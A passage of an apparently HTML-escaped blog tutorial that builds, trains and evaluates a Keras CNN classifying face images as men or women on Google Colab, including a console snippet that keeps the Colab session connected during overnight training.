&lt;span style=&quot;color: #f92672&quot;&gt;from&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;tensorflow.keras.preprocessing.image&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;ImageDataGenerator&lt;/span&gt;
&lt;span style=&quot;color: #f92672&quot;&gt;from&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;tensorflow.keras.models&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;Sequential&lt;/span&gt;
&lt;span style=&quot;color: #f92672&quot;&gt;from&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;tensorflow.keras.layers&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;Dense,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;Conv2D,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;Flatten,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;Dropout,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;MaxPooling2D,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;Activation&lt;/span&gt;
&lt;span style=&quot;color: #f92672&quot;&gt;from&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;tensorflow.keras.preprocessing&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;image&lt;/span&gt;
&lt;span style=&quot;color: #f92672&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;matplotlib.pyplot&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;as&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;plt&lt;/span&gt;
&lt;span style=&quot;color: #f92672&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;matplotlib.image&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;as&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;mpimg&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;

          &lt;/section&gt;
          
          &lt;section class=&quot;section2&quot; id=&quot;to-get-equal-size-of-every-image-while-training-the-model&quot;&gt;
          &lt;h2&gt;♀♂ Run 6 - To Get Equal Size Of Every Image While Training The Model&lt;/h2&gt;
            &lt;p&gt;To get equal size of every image while training the model due to difference in resolution in every image.&lt;/p&gt;

&lt;p&gt;Now this will generate training generator data. Target size mentioned as image_width and image_height. Batch size of 5. Class mode in binary because here only two classes are there to classify.&lt;/p&gt;
            &lt;!-- HTML generated using hilite.me --&gt;&lt;div style=&quot;background: #272822; overflow:auto;width:auto;border:solid gray;border-width:.1em .1em .1em .8em;padding:.2em .6em;&quot;&gt;&lt;pre style=&quot;margin: 0; line-height: 125%&quot;&gt;&lt;span style=&quot;color: #75715e&quot;&gt;# To get equal size of every image while training the model due to difference in resolution in every image.&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2&quot;&gt;train_datagen&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;ImageDataGenerator(rescale&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #ae81ff&quot;&gt;1.&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #ae81ff&quot;&gt;255&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;shear_range&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ae81ff&quot;&gt;0.2&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;zoom_range&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #ae81ff&quot;&gt;0.2&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;horizontal_flip&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;True)&lt;/span&gt;

&lt;span style=&quot;color: #75715e&quot;&gt;#Now this will generate training generator data. Target size mentioned as image_width and image_height. Batch size of 5. Class mode in binary because here only two classes are there to classify.&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2&quot;&gt;train_generator&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;train_datagen&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;flow_from_directory(train_data_dir,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;target_size&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;(img_width,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;img_height),&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;batch_size&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;batch_size,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;class_mode&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e6db74&quot;&gt;&amp;#39;binary&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;classes&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #e6db74&quot;&gt;&amp;#39;men&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #e6db74&quot;&gt;&amp;#39;women&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;])&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;

            &lt;pre class=&quot;alert alert-warning&quot; id=&quot;more-python-resources&quot;&gt;

&gt;&gt;&gt; Found 1641 images belonging to 2 classes.

&lt;/pre&gt;


          &lt;/section&gt;
          
          &lt;section class=&quot;section2&quot; id=&quot;same-as-above-but-testing-&amp;amp;-validating-datagen&quot;&gt;
          &lt;h2&gt;♀♂ Run 7 - Same As Above But Testing &amp;amp; Validating Datagen&lt;/h2&gt;
            &lt;!-- HTML generated using hilite.me --&gt;&lt;div style=&quot;background: #272822; overflow:auto;width:auto;border:solid gray;border-width:.1em .1em .1em .8em;padding:.2em .6em;&quot;&gt;&lt;pre style=&quot;margin: 0; line-height: 125%&quot;&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;test_datagen&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;ImageDataGenerator&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;(rescale&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #ae81ff&quot;&gt;1.&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #ae81ff&quot;&gt;255&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;)&lt;/span&gt;

&lt;span style=&quot;color: #f8f8f2&quot;&gt;validation_generator&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;test_datagen&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;flow_from_directory(validation_data_dir,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;target_size&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;(img_width,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;img_height),&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;batch_size&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;batch_size,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;class_mode&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #e6db74&quot;&gt;&amp;#39;binary&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;

            &lt;pre class=&quot;alert alert-warning&quot; id=&quot;more-python-resources&quot;&gt;

&gt;&gt;&gt; Found 666 images belonging to 2 classes.

&lt;/pre&gt;


          &lt;/section&gt;
          
          &lt;section class=&quot;section2&quot; id=&quot;using-matplotlib-to-view-our-data-which-will-give-out-data-in-equal-size&quot;&gt;
          &lt;h2&gt;♀♂ Run 8 - Using Matplotlib To View Our Data Which Will Give Out Data In Equal Size&lt;/h2&gt;
            &lt;!-- HTML generated using hilite.me --&gt;&lt;div style=&quot;background: #272822; overflow:auto;width:auto;border:solid gray;border-width:.1em .1em .1em .8em;padding:.2em .6em;&quot;&gt;&lt;pre style=&quot;margin: 0; line-height: 125%&quot;&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;plt&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;figure(figsize&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #ae81ff&quot;&gt;12&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #ae81ff&quot;&gt;12&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;))&lt;/span&gt;
&lt;span style=&quot;color: #66d9ef&quot;&gt;for&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;i&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;in&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;range(&lt;/span&gt;&lt;span style=&quot;color: #ae81ff&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #ae81ff&quot;&gt;15&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;):&lt;/span&gt;
  &lt;span style=&quot;color: #f8f8f2&quot;&gt;plt&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;subplot(&lt;/span&gt;&lt;span style=&quot;color: #ae81ff&quot;&gt;5&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #ae81ff&quot;&gt;3&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;,i&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: #ae81ff&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;)&lt;/span&gt;
  &lt;span style=&quot;color: #66d9ef&quot;&gt;for&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;X_batch,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;Y_batch&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;in&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;train_generator:&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2&quot;&gt;image&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;X_batch[&lt;/span&gt;&lt;span style=&quot;color: #ae81ff&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;]&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2&quot;&gt;plt&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;imshow(image)&lt;/span&gt;
    &lt;span style=&quot;color: #66d9ef&quot;&gt;break&lt;/span&gt;

&lt;span style=&quot;color: #f8f8f2&quot;&gt;plt&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;tight_layout()&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2&quot;&gt;plt&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;show()&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;

            &lt;div class=&quot;alert alert-warning&quot; id=&quot;more-python-resources&quot;&gt;
            &lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/a/AVvXsEjAbIlAPFhyLgDf8RkJ3Wk4gdhwwFeZvpzsMlP03SGchI7oZqdEMWYNLv5suwBzz_9DhXjFUQrqotKEN-vFWSIE3fDM91k_Pilkr0DytXHhnyQHUI6EhUcqyIPosZersHEPrOoN4pfqGA3X8EuPf31-A7xFGPziAJ0Fvv4SOA7CkEvN-ZvKYC1kI_o4=s856&quot; style=&quot;display: block; padding: 1em 0; text-align: center; &quot;&gt;&lt;img title=&quot;Matplotlib to view our data&quot; alt=&quot;Python Machine Learning Gender Detection Project Deep Learning Google Colab Project&quot; border=&quot;0&quot; height=&quot;400&quot; data-original-height=&quot;856&quot; data-original-width=&quot;709&quot; src=&quot;https://blogger.googleusercontent.com/img/a/AVvXsEjAbIlAPFhyLgDf8RkJ3Wk4gdhwwFeZvpzsMlP03SGchI7oZqdEMWYNLv5suwBzz_9DhXjFUQrqotKEN-vFWSIE3fDM91k_Pilkr0DytXHhnyQHUI6EhUcqyIPosZersHEPrOoN4pfqGA3X8EuPf31-A7xFGPziAJ0Fvv4SOA7CkEvN-ZvKYC1kI_o4=s400&quot;/&gt;&lt;/a&gt;&lt;/div&gt;
            &lt;/div&gt;
          &lt;/section&gt;
          
          &lt;section class=&quot;section2&quot; id=&quot;building-your-model&quot;&gt;
          &lt;h2&gt;♀♂ Run 9 - Building Your Model&lt;/h2&gt;
            &lt;!-- HTML generated using hilite.me --&gt;&lt;div style=&quot;background: #272822; overflow:auto;width:auto;border:solid gray;border-width:.1em .1em .1em .8em;padding:.2em .6em;&quot;&gt;&lt;pre style=&quot;margin: 0; line-height: 125%&quot;&gt;&lt;span style=&quot;color: #75715e&quot;&gt;#This Class allows to create convolutional neural network to extract features from the images&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2&quot;&gt;model1&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;Sequential()&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2&quot;&gt;model1&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;add(Conv2D(&lt;/span&gt;&lt;span style=&quot;color: #ae81ff&quot;&gt;64&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;,(&lt;/span&gt;&lt;span style=&quot;color: #ae81ff&quot;&gt;3&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #ae81ff&quot;&gt;3&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;),&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;input_shape&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;input_shape))&lt;/span&gt;

&lt;span style=&quot;color: #f8f8f2&quot;&gt;model1&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;add(Activation(&lt;/span&gt;&lt;span style=&quot;color: #e6db74&quot;&gt;&amp;#39;relu&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;))&lt;/span&gt;
&lt;span style=&quot;color: #75715e&quot;&gt;#MaxPooling2d reduce the size of the data&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2&quot;&gt;model1&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;add(MaxPooling2D(pool_size&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #ae81ff&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #ae81ff&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;)))&lt;/span&gt;
&lt;span style=&quot;color: #75715e&quot;&gt;#Converts multi dimensional array to 2D channel&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2&quot;&gt;model1&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;add(Flatten())&lt;/span&gt;
&lt;span style=&quot;color: #75715e&quot;&gt;#64 neurons with 3*3 filter&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2&quot;&gt;model1&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;add(Dense(&lt;/span&gt;&lt;span style=&quot;color: #ae81ff&quot;&gt;64&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;))&lt;/span&gt;
&lt;span style=&quot;color: #75715e&quot;&gt;#Numbers of output nodes in the hidden layer&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2&quot;&gt;model1&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;add(Activation(&lt;/span&gt;&lt;span style=&quot;color: #e6db74&quot;&gt;&amp;#39;relu&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;))&lt;/span&gt;
&lt;span style=&quot;color: #75715e&quot;&gt;#Output layer &lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2&quot;&gt;model1&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;add(Dense(&lt;/span&gt;&lt;span style=&quot;color: #ae81ff&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;))&lt;/span&gt;
&lt;span style=&quot;color: #75715e&quot;&gt;#sigmoid activition funtion&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2&quot;&gt;model1&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;add(Activation(&lt;/span&gt;&lt;span style=&quot;color: #e6db74&quot;&gt;&amp;#39;sigmoid&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;))&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2&quot;&gt;model1&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;summary()&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;

            &lt;pre class=&quot;alert alert-warning&quot; id=&quot;more-python-resources&quot;&gt;

&gt;&gt;&gt; Model: &quot;sequential&quot;
_________________________________________________________________
 Layer (type)                Output Shape              Param #   
=================================================================
 conv2d (Conv2D)             (None, 148, 148, 64)      1792      
                                                                 
 activation (Activation)     (None, 148, 148, 64)      0         
                                                                 
 max_pooling2d (MaxPooling2D  (None, 74, 74, 64)       0         
 )                                                               
                                                                 
 flatten (Flatten)           (None, 350464)            0         
                                                                 
 dense (Dense)               (None, 64)                22429760  
                                                                 
 activation_1 (Activation)   (None, 64)                0         
                                                                 
 dense_1 (Dense)             (None, 1)                 65        
                                                                 
 activation_2 (Activation)   (None, 1)                 0         
                                                                 
=================================================================
Total params: 22,431,617
Trainable params: 22,431,617
Non-trainable params: 0
_________________________________________________________________

&lt;/pre&gt;


          &lt;/section&gt;
          
          &lt;section class=&quot;section2&quot; id=&quot;optimize-your-model&quot;&gt;
          &lt;h2&gt;♀♂ Run 10 - Optimize Your Model&lt;/h2&gt;
            &lt;!-- HTML generated using hilite.me --&gt;&lt;div style=&quot;background: #272822; overflow:auto;width:auto;border:solid gray;border-width:.1em .1em .1em .8em;padding:.2em .6em;&quot;&gt;&lt;pre style=&quot;margin: 0; line-height: 125%&quot;&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;model1&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;compile(optimizer&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #e6db74&quot;&gt;&amp;#39;rmsprop&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;,&lt;/span&gt;
               &lt;span style=&quot;color: #f8f8f2&quot;&gt;loss&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e6db74&quot;&gt;&amp;#39;binary_crossentropy&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;,&lt;/span&gt;
               &lt;span style=&quot;color: #f8f8f2&quot;&gt;metrics&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #e6db74&quot;&gt;&amp;#39;accuracy&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;])&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2&quot;&gt;model1&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;summary()&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;

            &lt;pre class=&quot;alert alert-warning&quot; id=&quot;more-python-resources&quot;&gt;

&gt;&gt;&gt; Model: &quot;sequential&quot;
_________________________________________________________________
 Layer (type)                Output Shape              Param #   
=================================================================
 conv2d (Conv2D)             (None, 148, 148, 64)      1792      
                                                                 
 activation (Activation)     (None, 148, 148, 64)      0         
                                                                 
 max_pooling2d (MaxPooling2D  (None, 74, 74, 64)       0         
 )                                                               
                                                                 
 flatten (Flatten)           (None, 350464)            0         
                                                                 
 dense (Dense)               (None, 64)                22429760  
                                                                 
 activation_1 (Activation)   (None, 64)                0         
                                                                 
 dense_1 (Dense)             (None, 1)                 65        
                                                                 
 activation_2 (Activation)   (None, 1)                 0         
                                                                 
=================================================================
Total params: 22,431,617
Trainable params: 22,431,617
Non-trainable params: 0
_________________________________________________________________

&lt;/pre&gt;


          &lt;/section&gt;
          
          &lt;section class=&quot;section2&quot; id=&quot;training-your-model&quot;&gt;
          &lt;h2&gt;♀♂ Run 11 - Training Your Model&lt;/h2&gt;
            &lt;p&gt;Run this code more often to Increase Accuracy Of Machine Learning Model.&lt;/p&gt;
&lt;p&gt;You can also add your own set of images in dataset.&lt;/p&gt;
&lt;p&gt;And to train your model over night without disconnecting google colab just run this hack, copy paste this javascript code to your browser Console and Run&lt;/p&gt;
            &lt;pre class=&quot;alert alert-warning&quot; id=&quot;more-python-resources&quot;&gt;
function ClickConnect()
{
console.log(&quot;Working&quot;);
document.querySelector(&quot;colab-connect-button&quot;).shadowRoot.getElementById(&#39;connect&#39;).click();
}
setInterval(ClickConnect,60000);
&lt;/pre&gt;
            &lt;!-- HTML generated using hilite.me --&gt;&lt;div style=&quot;background: #272822; overflow:auto;width:auto;border:solid gray;border-width:.1em .1em .1em .8em;padding:.2em .6em;&quot;&gt;&lt;pre style=&quot;margin: 0; line-height: 125%&quot;&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;training&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;model1&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;fit(train_generator,&lt;/span&gt;
                      &lt;span style=&quot;color: #f8f8f2&quot;&gt;steps_per_epoch&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;nb_train_sample,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;epochs&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;epochs,&lt;/span&gt;
                      &lt;span style=&quot;color: #f8f8f2&quot;&gt;validation_data&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;validation_generator,&lt;/span&gt;
                      &lt;span style=&quot;color: #f8f8f2&quot;&gt;validation_steps&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;nb_validation_samples)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;

            &lt;pre class=&quot;alert alert-warning&quot; id=&quot;more-python-resources&quot;&gt;

&gt;&gt;&gt; Epoch 1/50
10/10 [==============================] - 11s 68ms/step - loss: 28.8991 - accuracy: 0.4000 - val_loss: 1.6395 - val_accuracy: 0.7400
Epoch 2/50
10/10 [==============================] - 1s 50ms/step - loss: 3.4661 - accuracy: 0.5000 - val_loss: 4.2565 - val_accuracy: 0.1800

.....

Epoch 50/50
10/10 [==============================] - 1s 56ms/step - loss: 0.5074 - accuracy: 0.7800 - val_loss: 0.3892 - val_accuracy: 0.8400

&lt;/pre&gt;


          &lt;/section&gt;
          
          &lt;section class=&quot;section2&quot; id=&quot;plotting-model-accuracy&quot;&gt;
          &lt;h2&gt;♀♂ Run 12 - Plotting Model Accuracy&lt;/h2&gt;
            &lt;!-- HTML generated using hilite.me --&gt;&lt;div style=&quot;background: #272822; overflow:auto;width:auto;border:solid gray;border-width:.1em .1em .1em .8em;padding:.2em .6em;&quot;&gt;&lt;pre style=&quot;margin: 0; line-height: 125%&quot;&gt;&lt;span style=&quot;color: #f92672&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;matplotlib.pyplot&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;as&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;plt&lt;/span&gt;
&lt;span style=&quot;color: #f92672&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;matplotlib&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;inline&lt;/span&gt;
&lt;span style=&quot;color: #75715e&quot;&gt;# list all data in training&lt;/span&gt;
&lt;span style=&quot;color: #66d9ef&quot;&gt;print&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;(training&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;history&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;keys())&lt;/span&gt;
&lt;span style=&quot;color: #75715e&quot;&gt;# summarize training for accuracy&lt;/span&gt;
